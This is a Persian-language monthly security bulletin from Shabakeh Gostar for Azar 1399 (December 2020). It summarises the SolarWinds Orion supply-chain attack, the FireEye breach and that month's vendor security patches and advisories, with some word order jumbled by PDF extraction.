با این حال با توجه به گسترده بودن دامنه این حملات و پیچیدگی آنها ممکن است که مهاجمان از تکنیک های دیگری نیز برای رخنه 

به اهداف خود بهره برده باشند.

جزییات بیشتر در خصوص این حملات در گزارشی که در ۲۵ آذر، مرکز راهبردی افتای ریاست جمهوری با همکاری شرکت مهندسی شبکه 

گستر آن را در لینک زیر منتشر کرد قابل مطالعه است:

https://www.afta.gov.ir/portal/home/?news/235046/237266/242419/

در صورتی که از نرم افزار SolarWinds استفاده می کنید، اولین اقدام مراجعه به لینک زیر و مطالعه توصیه نامه شرکت سازنده است:

https://www.solarwinds.com/securityadvisory

 محصولات مختلف شرکت امنیتی مک آفی )McAfee( قادر به شناسایی تمامی نمونه های مخرب گزارش شده این تهدیدات هستند.

 Trojan-Sunburst نام  با  این حملات  با  از آن، تهدیدات مرتبط  9835V2DAT و نسخ بعد  4287V3DAT و  به روزرسانی های  در 

شناسایی می شوند. )در به روزرسانی های قبلی این تهدیدات با عنوان HackTool-Leak.c گزارش می شدند.(

قابلیت شناسایی نمونه های مشابه احتمالی )Generic( نیز در به روزرسانی های 4288V3DAT و 9836V2DAT و نسخ بعد از آن 

لحاظ شده است.

 McAfee نرم افزار Exploit Prevention را برای استفاده در بخش Expert Rules همچنین شرکت مک آفی دو قاعده موسوم به

Endpoint Security در لینک زیر در دسترس راهبران قرار داده است:

https://kc.mcafee.com/corporate/index?page=content&id=KB93861

به راهبران محصول McAfee Application and Change Control نیز توصیه شده که در صورت به اصطلاح Solidify شدن نسخ 

 McAfee Application and Change کرده و چنانچه پیش تر در قواعد Unsolidify آنها را SolarWinds Orion Platform آلوده

Control آنها را به عنوان Updater تعریف کرده بودند نسبت به حذف آن قواعد اقدام کنند.

جزییات بیشتر در خصوص تهدیدات روز از جمله Trojan-Sunburst و نشانه های آلودگی )IoC( آنها در لینک زیر قابل دریافت و 

مطالعه است:

https://www.mcafee.com/enterprise/en-us/lp/insights-preview.html
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آسـیب پذیری هـا و اصـلاحیـه هـای امنـیـتی
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اصلاحیه های عرضه شده
در آذر ۱۳۹۹

در آذر ۱۳۹۹، شـــرکت های مایکروســـافت، ســـولارویندز، سیســـکو، مک آفی، بیت دیفندر، ادوبـــی، وی اِم وِر، گـــوگل، موزیلا، اپل 

و اس آپ و بنیادهـــای دروپـــل، آپاچـــی و اوپن اس اس ال اقـــدام به عرضـــه به روزرســـانی و توصیه نامه امنیتـــی برای برخی 

کردند. خـــود  محصولات 

مایکروسافت

۱۸ آذر، شـــرکت مایکروســـافت )Microsoft Corp( مجموعه اصلاحیه هـــای امنیتـــی ماهانه خود را برای ماه میلادی دســـامبر 

منتشـــر کرد. اصلاحیه هـــای مذکور ۵۸ آســـیب پذیری را در محصـــولات مختلف این شـــرکت ترمیم می کنند. شـــدت اهمیت 

۹ مـــورد از این آســـیب پذیری های ترمیم شـــده “حیاتی”، ۴۸ مـــورد از آنها “مهـــم” )Important( و دو مورد دیگر “متوســـط” 

)Moderate( گزارش شـــده است.

 DNS Cache یـــا ”DNS مایکروســـافت در توصیه نامه ای به یک آســـیب پذیری موســـوم به “مسموم ســـازی حافظـــه نهان

Poisoning پرداختـــه که توســـط محققان دانشـــگاه های چینهوا و کالیفرنیا کشـــف شـــده  بود. در توصیه نامـــه ضمن تایید 

 Windows DNS Resolver در IP Fragmentation وجود این آســـیب پذیری، مایکروســـافت آن را نتیجه وجـــود باگـــی در

دانســـته اســـت. بهره جویی موفق از این آســـیب پذیری می تواند مهاجـــم را قادر به جعل بســـته های DNS و ذخیره شـــدن 

اطلاعات نادرســـت در حافظه نهان توســـط DNS Forwarder یا DNS Resolver شـــود.

بـــرای ترمیم این آســـیب پذیری، راهبـــران می توانند از طریـــق Registry مقدار حداکثـــری UDP را بـــه ۱,۲۲۱ تغییر دهند. در 

 TCP به UDP اقدام به تغییر پودمـــان از DNS Resolver ،بزرگ تـــر از مقدار مذکـــور DNS ایـــن صورت برای درخواســـت های

می کنـــد. توصیه نامه مایکروســـافت در این خصـــوص در لینک زیر قابل دریافت اســـت:

• https://msrc.microsoft.com/update-guide/en-US/vulnerability/ADV200013

از جمله آسیب پذیری های شاخص که توسط اصلاحیه های دسامبر ترمیم شدند می توان به موارد زیر اشاره کرد:

CVE-2020-17095 کـــه ضعفی از نوع “اجرای کد به صورت از راه دور” )Remote Code Execution( اســـت که بســـتر • 

مجازی ســـازی Hyper-V از آن تأثیـــر می پذیرد. بهره جویـــی موفق از این آســـیب پذیری مهاجم را قـــادر می کند تا از روی 

ماشـــین مجازی اقدام به اجـــرای کد مورد نظر خـــود بر روی دســـتگاه میزبان کند.
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CVE-2020-17096 ضعفـــی از نوع “اجـــرای کد به صورت از راه دور” در Windows NTFS اســـت. سوءاســـتفاده از آن • 

 SMBv2 منجر به ترفیع ســـطح دسترســـی و بهره جویـــی از آن به صورت از راه دور در بســـتر )Locally( به صـــورت محلی

ســـبب اجرای فرامین مـــورد نظر مهاجم خواهد شـــد.

CVE-2020-17099 ضعفی اســـت که سوءاســـتفاده از آن موجب بی اثر شـــدن بخش قابلیت امنیتی Lock Screen در • 

Windows شـــده و مهاجم با دسترســـی محلـــی را قادر به اجرای کد بر روی دســـتگاه قفل شـــده می کند.

فهرست کامل آسیب پذیری های ترمیم شده توسط مجموعه اصلاحیه های ماه دسامبر مایکروسافت در لینک زیر قابل مطالعه است:

• https://newsroom.shabakeh.net/21908

سولارویندز

۱۸ آذر، شـــرکت امنیتی فایرآی )FireEye Inc( رســـماً اعـــلام کرد که سیســـتم هایش در جریان حمله ای بســـیار پیچیده، مورد 

رخنه قرار گرفته اســـت. بـــه گفته فایرآی، مهاجمـــان این حمله بـــا بکارگیری تکنیک هـــای جدید موفق به ســـرقت ابزارهایی 

دیجیتـــال شـــده اند که این شـــرکت از آنها با عنـــوان Red Team یـــاد می کند. فایـــرآی از ابزارهـــای Red Team به منظور 

شناســـایی آســـیب پذیری سیستم ها در شـــبکه مشـــتریان خود اســـتفاده می کرده اســـت. گفته می شـــود که از این ابزارها 

 Red Team به شـــدت مراقبت می شـــده اســـت. در آن زمان تصور می شـــد که هـــدف اصلی مهاجمان، ســـرقت ابزارهـــای

بوده اســـت. اما خیلی زود مشـــخص شـــد که اهداف حملات بســـیار گســـترده تر از یک شـــرکت امنیتی بوده و بســـیاری از 

شـــرکت ها و حتی ســـازمان ها و نهادهای مطرح نـــه فقط در ایـــالات متحده که در کشـــورهای متعدد در تســـخیر مهاجمان 

قـــرار گرفته بودند.

مهاجمـــان ایـــن حملات بـــا بهره گیـــری از تکنیک موســـوم بـــه زنجیـــره تأمیـــن )Supply Chain( پس از هک شـــرکت 

SolarWinds.Orion.Core. با نـــام Orion موفق به آلوده ســـازی یکی از فایل هـــای نرم افزار )SolarWinds Inc( ســـولارویندز

BusinessLayer.dll و در عمـــل تبدیـــل آن به یک درب پشـــتی )Backdoor( شـــده بودند.

بـــا این حـــال با توجه به گســـترده بـــودن دامنه این حمـــلات و پیچیدگی آنها ممکن اســـت کـــه مهاجمـــان از تکنیک های 

دیگـــری نیز بـــرای رخنه به اهـــداف خود بهره برده باشـــند.

جزییات بیشـــتر در خصوص این حملات در گزارشـــی کـــه در ۲۵ آذر، مرکز راهبردی افتای ریاســـت جمهوری با همکاری شـــرکت 

مهندســـی شبکه گســـتر آن را در لینک زیر منتشـــر کرد قابل مطالعه است:

• https://www.afta.gov.ir/portal/home/?news/235046/237266/242419/

در صورتی که از نرم افزار SolarWinds استفاده می کنید، اولین اقدام مراجعه به لینک زیر و مطالعه توصیه نامه شرکت سازنده است:

• https://www.solarwinds.com/securityadvisory

محصولات مختلف شرکت امنیتی مک آفی قادر به شناسایی تمامی نمونه های مخرب گزارش شده این تهدیدات هستند.



25
newsroom.shabakeh.net

مـاهنامـه امنـیـت فـنـاوری اطلاعـات |  آذر 1399

سیسکو

شـــرکت سیســـکو )Cisco Systems Inc( در چندیـــن نوبت اقدام به عرضـــه اصلاحیه های امنیتی بـــرای برخی از محصولات 

خود کـــرد. این به روزرســـانی ها در مجمـــوع، ۱۶ آســـیب پذیری را در محصولات مختلف این شـــرکت ترمیـــم می کنند. درجه 

اهمیـــت ۲ مـــورد از آنها “حیاتـــی” و ۶ مورد از آنها “بالا” )High( گزارش شـــده اســـت. آســـیب پذیری بـــه حملاتی همچون 

“اجـــرای کد به صـــورت از راه دور” و “از کاراندازی ســـرویس” )Denial of Service( از جمله اشـــکالات مرتفع شـــده توســـط 

به روزرســـانی های جدید هســـتند. توضیحـــات کامل در مـــورد به روزرســـانی های عرضه شـــده در لینک زیر قابل دســـترس 

: ست ا

https://tools.cisco.com/security/center/publicationListing.x

مک آفی

در آذر ۱۳۹۹ شـــرکت امنیتـــی مک آفـــی )McAfee Corp( اقدام به عرضه نســـخ جدید برای برخی از محصـــولات امنیت نقاط 

پایانـــی و امنیـــت اطلاعات خـــود کرد. از جملـــه موارد لحاظ شـــده در به روزرســـانی های جدیـــد می توان به پشـــتیبانی از 

سیســـتم های عامل و محصـــولات جدید، افزایـــش قابلیت هـــا و ترمیم آســـیب پذیری های امنیتی و برطرف شـــدن باگ های 

عملکردی اشـــاره کرد. جزییات بیشـــتر در خصوص به روزرســـانی های مذکـــور در زیر قابل دریافت اســـت:

• McAfee Agent 5.7.0 )https://docs.mcafee.com/bundle/agent-5.7.0-release-notes-epolicy-orchestrator(

• VirusScan Enterprise 8.8 Patch 16 )https://docs.mcafee.com/bundle/virusscan-enterprise-v8-8-0-

Patch16-release-notes)

• Host Intrusion Prevention 8.0 Patch 16 )https://docs.mcafee.com/bundle/host-intrusion-prevention-

v8-0-0-Patch16-release-notes)

• Application and Change Control for Linux 6.4.12 )https://docs.mcafee.com/bundle/ 

application-change-control-6.4.x-release-notes-linux)

• MOVE AntiVirus Multi-Platform 4.9.0 )https://docs.mcafee.com/bundle/move-antivirus 

-multi-platform-4.9.x-release-notes)

• McAfee File and Removable Media Protection 5.3.1 Hotfix 1 )https://kc.mcafee.com/corporate/

index?page=content&id=SNS2783)

• McAfee Database Security 4.8.0 )https://docs.mcafee.com/bundle/database-security-4.8.x-release-notes)

شـــرکت مک آفی، نســـخه ۶۲۰۰ هســـته اجرایـــی )Engine( را برای محصـــولات مجهز به ضدویروس ســـازمانی خـــود را در 

دســـترس قرار داده اســـت. از جملـــه بهبودهای لحاظ شـــده در نســـخه ۶۲۰۰ می توان بـــه موارد زیر اشـــاره کرد:

 •AutoIT و MSIL شناسایی فراگیرتر تهدیدات و توانایی مقابله با بدافزارهای توسعه داده شده در بسترهای

 •ISO و PDF پوشش هر چه بیشتر فایل های از نوع

 •LZFSE و ADC بهبود رمزگشایی فایل های کدگذاری شده توسط

 •macOS و Linux بهبود قابلیت های شناسایی تهدیدات تحت
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امکانات بیشتر برای شناسایی مؤثرتر• 

برطرف شدن برخی باگ ها و اشکالات در نسخه پیشین• 

نســـخه ۶۲۰۰ که در حال حاضر به صورت موســـوم به Elective در دســـترس راهبران قرار داده شـــده اســـت. از اواخر دی ماه 

نیز نســـخه جدید به صورت خودکار توســـط بخش به روزرســـانی محصـــولات McAfee Endpoint Security دریافت و نصب 

شد. خواهد 

لازم به ذکر اســـت که مک آفـــی نســـخه ۶.۱.۵ ابـــزار Command Line Scanner را نیز بر پایه Engine 6200 منتشـــر کرده 

است.

جزییات کامل در لینک زیر قابل مطالعه است:

https://kc.mcafee.com/corporate/index?page=content&id=KB92669

بیت دیفندر

در نهمین ماه از ســـال ۱۳۹۹ شـــرکت بیت دیفندر )Bitdefender Inc( اقدام به انتشار نســـخ ۱-۶.۱۸.۱، ۶.۶.۲۳.۳۲۵، ۶.۲.۲۱.۱۲۵ و 

Endpoint Secu- و،Endpoint Security Tools for Windows و،GravityZone ۴.۱۴.۱۰۱.۲۰۰۱۰۱ به ترتیب برای محصـــولات

rity Tools for Linux و Endpoint Security for Mac کـــرد کـــه در آنهـــا قابلیت های جدید، اصلاحـــات امنیتی و بهبودهای 

عملکردی لحاظ شـــده اســـت. جزییات بیشـــتر را در لینک های زیر بخوانید:

• https://www.bitdefender.com/support/bitdefender-gravityzone-6-18-1-1-release-notes-2639.html

• https://www.bitdefender.com/support/bitdefender-endpoint-security-tools-version-6-6-23-325- 

release-notes-)windows(-2644.html

• https://www.bitdefender.com/support/bitdefender-endpoint-security-tools-version-6-2-21-125- 

release-notes-)linux(-2643.html

• https://www.bitdefender.com/support/endpoint-security-for-mac-version-4-14-101-200101-release-

notes-2645.html

فورتی نت

در اوایل آذر ماه برخی نهادهای امنیتی از احتمال افشـــای رمزهای عبور آن دســـته از دســـتگاه های ســـاخت شـــرکت فورتی نت 

(Fortinet Inc( خبر دادند که به CVE 2018-13379 آســـیب پذیر گزارش شـــده اند. نســـخ زیـــر از CVE 2018-13379 تأثیر 

: ند یر می پذ

FortiOS 6.0؛ نسخ ۶.۰.۰ تا ۶.۰.۴

FortiOS 5.6؛ نسخ ۶.۳ تا ۵.۶.۷

FortiOS 5.4؛ نسخ ۴.۶ تا ۵.۴.۱۲

بهره جویـــی )Exploit( از آســـیب پذیری مذکـــور مهاجـــم را بدون نیاز بـــه هر گونه اصالت ســـنجی قادر به دسترســـی یافتن 

FortiOS می کند. بـــه 

راهکارهای ترمیم این آسیب پذیری در توصیه نامه زیر در دسترس قرار دارد:

https://www.fortiguard.com/psirt/FG-IR-18-384

لازم بـــه ذکر اســـت که در ۷ آذر ماه مرکـــز CISA ایالات متحـــده به راهبران تجهیـــزات متأثـــر از CVE 2018-13379 توصیه 

کرد کـــه لاگ های شـــبکه های مرتبط با تجهیـــزات آســـیب پذیر را به منظور شناســـایی هر گونـــه تهدید احتمالـــی به دقت 

دهند. قـــرار  بازبینی  مورد 
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ادوبی

ادوبی )Adobe Inc( نیز در آذر ماه، چندین آسیب پذیری را در محصولات زیر ترمیم و اصلاح کرد:

• Acrobat and Reader )https://helpx.adobe.com/security/products/acrobat/apsb20-75.html(

• Lightroom )https://helpx.adobe.com/security/products/lightroom/apsb20-74.html(

• Experience Manager )https://helpx.adobe.com/security/products/experience-manager/apsb20-72.

html)

• Prelude )https://helpx.adobe.com/security/products/prelude/apsb20-70.html(

سوءاســـتفاده از آســـیب پذیری گزارش شـــده در Acrobat and Reader به شناســـه CVE-2020-29075 مهاجـــم را قادر به 

می کند. حســـاس  بالقوه  بهاطلاعات  دســـتیابی 

وی ام ور

در آذر ۱۳۹۹، آژانـــس امنیـــت ملی ایالات متحده )NSA( نســـبت بـــه بهره جویی مهاجمـــان از یک آســـیب پذیری امنیتی در 

 CVE-2020-4006 هشـــدار داد. اصلاحیه آســـیب پذیری مذکور به شناســـه )VMware Inc( برخی محصولات شـــرکت وی ام ور

از ۱۳ آذر در دســـترس قـــرار گرفته اســـت. بر اســـاس گزارش NSA گروهی از مهاجمان روســـی با پشـــتوانه دولتـــی با توزیع 

برنامه های موســـوم به Web Shell مخرب ســـرورهای آســـیب پذیر را مورد بهره جویـــی قرار داده و اقدام به ســـرقت اطلاعات 

حســـاس می کنند.

محصولات زیر از CVE-2020-4006 تأثیر می پذیرد:

• VMware Workspace One Access 20.01, 20.10

• VMware Identity Manager )vIDM( 3.3.1 up to 3.3.3

• VMware Identity Manager Connector )vIDM Connector( 3.3.1, 3.3.2

• VMware Identity Manager Connector )vIDM Connector( 3.3.1, 3.3.2, 3.3.3 / 19.03.0.0, 19.03.0.1

• VMware Cloud Foundation 6 4.x

• VMware vRealize Suite Lifecycle Manager 7 8.x

در جریـــان ایـــن حمـــلات مهاجمان بـــا اتصال به کنســـول مدیریتـــی  محصـــولات آســـیب پذیر وی ام ور کـــه در معرض 

اینترنـــت قـــرار گرفته انـــد اقدام بـــه رخنه به شـــبکه ســـازمان و نصـــب برنامه هـــای Web Shell از طریق تزریـــق فرمان

(Command Injection( می کنند.

 Active و اتصال به ســـرورهای SAML مهاجمان با اســـتفاده از اصالت ســـنجی های ،Web Shell پـــس از توزیع برنامه هـــای

Directory Federation Services - بـــه اختصار ADFS - داده های حســـاس را ســـرقت می کنند.

بهره جویـــی موفـــق از این آســـیب پذیری مهاجمان را قـــادر به اجـــرای فرامین Linux بر روی دســـتگاه های هک شـــده و در 

کردن خـــود می کند. مانـــدگار  نتیجه 

پیش تـــر و در پی افشـــای عمومـــی آســـیب پذیری مذکـــور، وی ام ور اقدام به انتشـــار راهـــکاری موقت برای مقاوم ســـازی 

محصـــولات خـــود در برابـــر CVE-2020-4006 کرده بـــود. بنابراین در صـــورت فراهم نبـــودن امکان انجام به روزرســـانی، 

پیاده ســـازی این راهـــکار می توانـــد گزینه ای موقت باشـــد.

توصیه نامه وی ام ور در خصوص آسیب پذیری CVE-2020-4006 در لینک زیر قابل مطالعه است:

• https://kb.vmware.com/s/article/81754
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مشروح هشدار NSA نیز در لینک زیر قابل دریافت است:

https://media.defense.gov/2020/Dec/07/2002547071/-1/-1/0/CSA_VMWARE%20ACCESS_U_

OO_195076_20.PDF

گوگل

در ۱۲ آذر شـــرکت گـــوگل )Google LLC( با عرضه نســـخه ۸۷.۰.۴۲۸۰.۸۸ اقدام بـــه ترمیم آســـیب پذیری های امنیتی مرورگر 

Chrome کرد. فهرســـت اشـــکالات مرتفع شـــده در لینک زیر قابل دریافت و مشـــاهده است:

https://chromereleases.googleblog.com/2020/12/stable-channel-update-for-desktop.html

موزیلا

 Firefox با ارائه به روزرســـانی، ده ها آســـیب پذیری را در مرورگر )Mozilla Corporation( در ماهی که گذشـــت شـــرکت موزیلا

و نرم افـــزار Thunderbird برطـــرف کرد که توضیحات آنهـــا در لینک های زیر قابل مطالعه اســـت:

• https://www.mozilla.org/en-US/security/advisories/mfsa2020-53/

• https://www.mozilla.org/en-US/security/advisories/mfsa2020-54/

• https://www.mozilla.org/en-US/security/advisories/mfsa2020-55/

• https://www.mozilla.org/en-US/security/advisories/mfsa2020-56/

اپل

در آذر شـــرکت اپـــل )Apple Inc( در چند نوبت با انتشـــار به روزرســـانی، ضعف هایی امنیتی را محصولات زیـــر ترمیم و اصلاح 

. د کر

• iCloud )https://support.apple.com/en-us/HT211935)

• iOS 14.3 and iPadOS 14.3 )https://support.apple.com/en-us/HT212003(

• macOS Server 5.11 )https://support.apple.com/en-us/HT211932(

• macOS Big Sur 11.1, Security Update 2020-001 Catalina, Security Update 2020-007 Mojave  

)https://support.apple.com/en-us/HT212011(

• iOS 12.5 )https://support.apple.com/en-us/HT212004(

• tvOS 14.3 )https://support.apple.com/en-us/HT212005(

• watchOS 6.3 )https://support.apple.com/en-us/HT212006(

• watchOS 7.2 )https://support.apple.com/en-us/HT212009(

• Safari 14.0.2 )https://support.apple.com/en-us/HT212007)

اس آپ

اس آپ (SAP SE( دیگر شـــرکتی بود که در آذر ماه ۹۹ با انتشـــار به روزرســـانی امنیتی، ۱۴ آســـیب پذیری را در چندین محصول 

خـــود برطرف کرد. درجه حساســـیت ۴ مورد از آســـیب پذیری های مذکور بر طبق اســـتاندارد CVSS، بالاتـــر از ۹ - از ۱۰ - گزارش 

شده اســـت. جزییات بیشـــتر در لینک زیر قابل مطالعه است:

https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=564757079
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دروپل

در ۷ آذر، جامعـــه دروپـــل )Drupal Community( با عرضه به روزرســـانی های امنیتی، دو آســـیب پذیری را در برخی از نســـخ 

Drupal اصـــلاح کرد؛ بهره جویی از آنهـــا، مهاجم را قادر بـــه در اختیار گرفتن کنترل ســـامانه می کند. توضیحـــات کامل در این 

خصوص در لینک زیر قابل دســـترس اســـت:

• https://www.drupal.org/sa-core-2020-013

آپاچی

در آذر، بنیاد نرم افـــزاری آپاچـــی )Apache Software Foundation(، توصیه نامه های زیر را در خصوص وجود آســـیب پذیری 

در Apache Tomcat و Apache Struts منتشر کرد:

• http://mail-archives.us.apache.org/mod_mbox/www-announce/202012.mbox/%3C52858194- 

2efd-6f17-1821-9036c8494df0%40apache.org%3E

• https://cwiki.apache.org/confluence/display/WW/S2-061

سوءاســـتفاده از ضعف امنیتـــی Apache Tomcat - بـــه شناســـنه CVE-2020-17527 - در نهایت می توانـــد موجب از کار 

 افتادن ســـرویس دهی )Denial-of-Service( ســـامانه شـــود. بهره جویی از آســـیب پذیـــری Apache Struts - با شناســـه

CVE-2020-17530 - نیز مهاجم را قادر به اجرای کد بر روی سامانه آسیب پذیر می کند.

اوپن اس اس ال

۱۸ آذر، بنیـــاد نرم افـــزاری اوپـــن اس اس ال )OpenSSL Software Foundation( اقدام به انتشـــار توصیه نامـــه ای با درجه 

اهمیـــت “بالا” در خصوص آســـیب پذیری بـــا شناســـه CVE-2020-1971 کرد. بهره جویی از آســـیب پذیری مذکور که نســـخ 

۱.۰.۲ و ۱.۱.۱ از آن تأثیـــر می پذیرند موجب از کار افتادن ســـرویس دهی ســـامانه می شـــود. توصیه نامه اوپـــن اس اس ال در لینک 

زیر قابل مطالعه اســـت:

https://www.openssl.org/news/secadv/20201208.txt
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رویدادها و وقایع امنیتی
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برای سال ها، شرکت امنیتی فایرآی )FireEye( اولین مرجع سازمان هایی بود که هدف حملات سایبری فوق پیچیده و هکرهای حرفه ای 

قرار گرفته بودند.

 )APT( حالا به نظر می رسد هکرها انتقام خود را از این شرکت آمریکایی که کالبدشکافی موفق بسیاری از تهدیدات پیشرفته و ماندگار

را در کارنامه دارد گرفته اند.

به گزارش شرکت مهندسی شبکه گستر، ۱۸ آذر، فایرآی رسماً اعلام کرد که سیستم هایش در جریان حمله ای بسیار پیچیده، با حمایت 

یک دولت مورد رخنه قرار گرفته است.

به گفته فایرآی، مهاجمان این حمله با بکارگیری تکنیک های جدید موفق به سرقت ابزارهایی دیجیتال شده اند که این شرکت از آنها با 

عنوان Red Team یاد می کند.

فایرآی از ابزارهای Red Team به منظور شناسایی آسیب پذیری سیستم ها در شبکه مشتریان خود استفاده می کرده است. گفته می شود 

که از این ابزارها به شدت مراقبت می شده است.

نقاط  استفاده مهاجمان در  به طور معمول مورد  نفوذی شوند که  ابزارهای  Red Team جایگزین  ابزارهای  بیم آن می رود که  اکنون 

مختلف جهان قرار می گیرند.

راه شناسایی هکرهای دخیل در  از  را  از درآمد خود  این شرکت ۳.۵ میلیارد دلاری، بخشی  به گزارش شرکت مهندسی شبکه گستر، 

شاخص ترین نفوذهای سایبری جهان کسب می کرده است.

امنیت  ابزارهای  بزرگ ترین سرقت   ShadowBrokers گروه  توسط   NSA ابزارهای سایبری افشای  از  را پس  این هک  منابع  برخی 

سایبری تاریخ می دانند. در سال ۲۰۱۶ گروه ShadowBrokers که همچنان هویت گردانندگان آن نامشخص است ظرف چند ماه تعداد 

قابل توجهی از ابزارهای مورد استفاده NSA را در دسترس مهاجان دیگر قرار داد. در نهایت گروه های مختلف نفوذگری با بکارگیری 

ابزارهای مذکور اقدام به اجرای حملات مخرب به سازمان ها و شرکت های بزرگ در کشورهای مختلف کردند. برآورد می شود که خسارت 

ناشی از این حملات بیش از ۱۰ میلیارد دلار باشد.

مهاجمان حمله اخیر از چندین هزار نشانی IP که پیش تر در هیچ حمله ای مورد استفاده قرار نگرفته بودند بهره برده اند.

مدیر عامل فایرآی گفته این حمله متفاوت از ده ها هزار رخدادی است که این شرکت در این سال ها به آنها رسیدگی کرده است.

فایرآی:
ما هک شدیم
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فایرآی همچنان در حال یافتن پاسخ این پرسش است که چگونه هکرها موفق به رخنه به سیستم هایی شده اند که بیشترین مراقبت ها 

از آنها می شده است.

این شرکت انباره ای از قواعد Yara و Snort را منتشر کرده تا سایرین آمادگی مقابله با حملات احتمالی مبتنی بر ابزارهای سرقت شده 

Red Team را داشته باشند. انباره مذکور در لینک زیر قابل دریافت است:

http://github.com/fireeye/red_team_tool_countermeasures

اگر چه فایرآی به طور روشن به کشور یا ملیت گردانندگان این حمله اشاره نکرده اما روزنامه نیویورک تایمز خبر داده که FBI پرونده این 

رخداد را به متخصصان خود در حوزه روسیه ارجاع داده است.

مشخص نیست که هشدار اخیر NSA در خصوص بهره جویی مهاجمان از یک آسیب پذیری امنیتی در بعضی محصولات شرکت وی ام ور 

(VMware( با این حمله مرتبط بوده است یا خیر.

شرکت های امنیتی همواره از اهداف خاص و مورد علاقه هکرهای سایبری بوده اند. در سال ۲۰۱۲ سیمانتک )Symantec( تایید کرد که 

بخشی از کد منبع )Source Code( ضدویروس این شرکت توسط هکرها سرقت شده است. سیمانتک در سال ۲۰۱۹ نیز اعتراف کرد 

که اطلاعات مرتبط با برخی از مشتریانش نشت کرده است. در سال میلادی گذشته شرکت ترند مایکرو )Trend Micro( هم سرقت 

بخشی از اطلاعاتش را پذیرفت. شرکت روسی کسپرسکی )Kaspersky( نیز در سال های اخیر حداقل در دو نوبت توسط مهاجمان 

هک شده است.

https://newsroom.shabakeh.net/21904/cve-2020-4006.html
https://newsroom.shabakeh.net/21904/cve-2020-4006.html
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افتای ریاست جمهوری با همکاری شبکه گستر
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npm از طریق بسته های مخرب njRAT نصب

ان پی ام اقدام به حذف دو بسته مخرب از روی این انباره کتابخانه های JavaScript کرده است. احتمال داده می شود کد مخرب تزریق 

شده در بسته های مذکور موجب نصب ابزار RAT بر روی دستگاه یکصد برنامه نویسی شده باشد که این بسته ها را مورد استفاده قرار 

داده بودند. ادامه مطلب را در اینجا بخوانید.

PgMiner هدف ،PostgreSQL پایگاه های داده

محققان از کشف بات نتی خبر داده اند که با رخنه به پایگاه های داده PostgreSQL اقدام به نصب یک استخراج کننده ارز رمز بر روی 

سرور میزبان آنها می کند. ادامه مطلب را در اینجا بخوانید.

ماجرای یکی از کم نظیرترین حملات سایبری تاریخ

در یک هفته گذشته در جریان حملاتی پیچیده شرکت امنیتی فایرآی و وزارت خزانه داری ایالات متحده و احتمالا بسیاری از شرکت ها و 

سازمان های معروف دیگر توسط گروهی از مهاجمان هک شدند. اکنون مشخص شده که پیش تر این مهاجمان با رخنه به سولار ویندز 

موفق به تزریق کد آلوده به یکی از محصولات ساخت این شرکت با نام Orion Platform شده بودند و از طریق نرم افزار مذکور زمینه را 

برای نفوذ به بیش از ۱۸ هزار مشتری آن محصول از جمله شرکت ها و سازمان هایی که در روزهای اخیر هک شدند فراهم کرده بودند. 

ادامه مطلب را در اینجا بخوانید.

Easy WP SMTP ترمیم یک آسیب پذیری روز-صفر در

 برنامه نویسان Easy WP SMTP یک آسیب پذیری روز-صفر را در این افزونه پرطرفدار ترمیم و اصلاح کردند. این افزونه امکان ارسال 

ایمیل از طریق سرور SMTP را در سایت ها و وبلاگ های مبتنی بر WordPress برای صاحب سایت فراهم می کند. افزونه مذکور بیش 

از 500 هزار بار نصب را در کارنامه دارد. سوءاستفاده از آسیب پذیری ترمیم شده، مهاجم را قادر می کند تا بدون اصالت سنجی رمز کاربر 

admin سایت را تغییر داده و کنترل کامل سایت را در اختیار بگیرد. ادامه مطلب را در اینجا بخوانید.

افتای ریاست جمهوری با همکاری شرکت مهندسی شبکه گستر  در آذر ماه مرکز مدیریت راهبردی 
اقدام به تهیه گزارش های زیر کرد.

https://afta.gov.ir/portal/home/?news/235046/237266/242376/%D9%86%D8%B5%D8%A8-njrat-%D8%A7%D8%B2-%D8%B7%D8%B1%DB%8C%D9%82-%D8%A8%D8%B3%D8%AA%D9%87%E2%80%8C%D9%87%D8%A7%DB%8C-%D9%85%D8%AE%D8%B1%D8%A8-npm
https://www.afta.gov.ir/portal/home/?news/235046/237266/242417/%D9%BE%D8%A7%DB%8C%DA%AF%D8%A7%D9%87%E2%80%8C%D9%87%D8%A7%DB%8C-%D8%AF%D8%A7%D8%AF%D9%87-postgresql%D8%8C-%D9%87%D8%AF%D9%81-pgminer
https://www.afta.gov.ir/portal/home/?news/235046/237266/242419/
https://www.afta.gov.ir/portal/home/?news/235046/237266/242463/
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آخـرین اخبـار امنیـت فنـاوری اطلاعات
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شركت مهندسـی شـبـكـه گسـتـر در سـال 1۳70 تأسیس گردید و اولین شركت ایرانی 

كرده  آغاز  را  متمرکزی  و  تخصصی  فعالیت  ضدویروس  نرم افزارهای  زمینه  در  كه  است 

انگلیسی و شركت  مهندسی شبكه گستر  بین شركت  ابتدا، همكاری مشتركی  در  است. 

S & S International )تولیدكننده ضدویروس مشهور Toolkit( آغاز گردید. در مدت 

 S & S International كوتاهی، با فعالیت شبكه گستر به  عنوان نماینده رسمی و انحصاری

در ایران، به تدریج ضدویروس  Dr Solomon’s Toolkit به محبوب ترین ضدویروس در 

ایران تبدیل شد. پس از خرید شرکت S & S International  توسط شرکت McAfee در 

سـال 1۳77، شركت شبكه گستر نیز مانند دیگر نمایندگان بین المللی فعالیت خود را بر روی 

نرم افزارهای ضدویروس McAfee ادامه داد. اکنون نیـز شبكه گستر به  عنوان فروشنده 

خدمات  و  محصولات  ارائه  به  خاورمیانه،  منطقه  در   )Authorized Reseller( مجـاز 

کسب  به  موفق  گستر  شبکه  مهندسی  شرکت   1۳8۴ سال  در  می نماید.  اقدام  ایران  در 

نمایندگی رسمی شرکت آلمانی Astaro، سازنده محصولات مدیریت یکپارچه تهدیدات

)Unified Threat Management( گردید. به دنبال رشد چشمگیر و موفقیت جهانی 

اقدام  انگلیس،   Sophos شرکت   1۳90 سال  در   ،Astaro شرکت  امنیتی  محصولات 

شبکه  مهندسی  شرکت  انتقال،  و  نقل  این  دنبال  به  نمود.  آلمانی  شرکت  این  خرید  به 

گستر با همکاری با شرکت Sophos، فعالیت خود را در این زمینه ادامه داده و اکنون 

محصولات Astaro سابق را تحت نام Sophos در ایران عرضه می نماید. از سال 1۳91 

عنوان  به   را   Bitdefender ضدویروس  محصولات  عرضه  گستر  شبکه  مهندسی  شرکت 

نماینده و توزیع کننده )Distributor( رسمی در ایران آغاز کرد. عرضه محصولات ضدویروس 

Bitdefender در کنار محصولات امنیتی McAfee، پاسخی به شرایط و نیازهای متفاوت 

